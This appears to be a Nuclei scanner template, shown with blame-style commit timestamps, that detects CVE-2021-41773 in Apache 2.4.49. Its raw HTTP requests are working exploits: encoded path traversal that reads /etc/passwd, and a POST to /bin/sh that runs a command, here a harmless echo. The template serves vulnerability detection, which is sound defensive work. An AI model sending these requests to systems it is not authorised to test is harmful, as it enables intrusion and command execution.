2021-10-05 14:49:36 +00:00
id : CVE-2021-41773
info :
2021-10-10 00:30:43 +00:00
name : Apache 2.4.49 - Path Traversal and Remote Code Execution
2022-08-25 07:48:45 +00:00
author : daffainfo,666asd
2021-10-13 08:57:56 +00:00
severity : high
2022-12-16 08:23:01 +00:00
description : |
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
2021-10-05 14:49:36 +00:00
reference :
- https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
2022-02-28 14:09:26 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
2021-10-05 15:03:10 +00:00
- https://twitter.com/ptswarm/status/1445376079548624899
2021-10-05 15:02:16 +00:00
- https://twitter.com/h4x0r_dz/status/1445401960371429381
2021-10-10 00:30:43 +00:00
- https://github.com/blasty/CVE-2021-41773
2021-10-13 08:57:56 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-10-13 08:57:56 +00:00
cve-id : CVE-2021-41773
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.97532
cpe : cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
2021-10-14 06:52:10 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 3
2022-12-16 08:23:01 +00:00
shodan-query : Apache 2.4.49
2023-06-04 08:13:42 +00:00
verified : true
2023-07-11 19:49:27 +00:00
vendor : apache
product : http_server
2022-07-21 17:18:22 +00:00
tags : cve,cve2021,lfi,rce,apache,misconfig,traversal,kev
2022-08-25 07:48:45 +00:00
variables :
cmd : "echo COP-37714-1202-EVC | rev"
2023-04-27 04:28:59 +00:00
http :
2021-10-10 00:30:43 +00:00
- raw :
- |
2022-08-23 07:30:32 +00:00
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
2021-10-10 00:30:43 +00:00
Host : {{Hostname}}
2022-11-30 13:59:46 +00:00
- |
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host : {{Hostname}}
2021-10-10 00:30:43 +00:00
- |
2022-08-23 07:30:32 +00:00
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
2021-10-10 00:30:43 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-25 07:48:45 +00:00
echo Content-Type : text/plain; echo; {{cmd}}
2021-10-10 00:30:43 +00:00
2022-08-25 07:48:45 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-10-10 00:30:43 +00:00
matchers-condition : or
2021-10-05 14:49:36 +00:00
matchers :
2021-10-10 00:30:43 +00:00
- type : word
name : RCE
words :
2021-10-21 03:57:23 +00:00
- "CVE-2021-41773-POC"
2023-07-11 19:49:27 +00:00
- type : regex
name : LFI
regex :
- "root:.*:0:0:"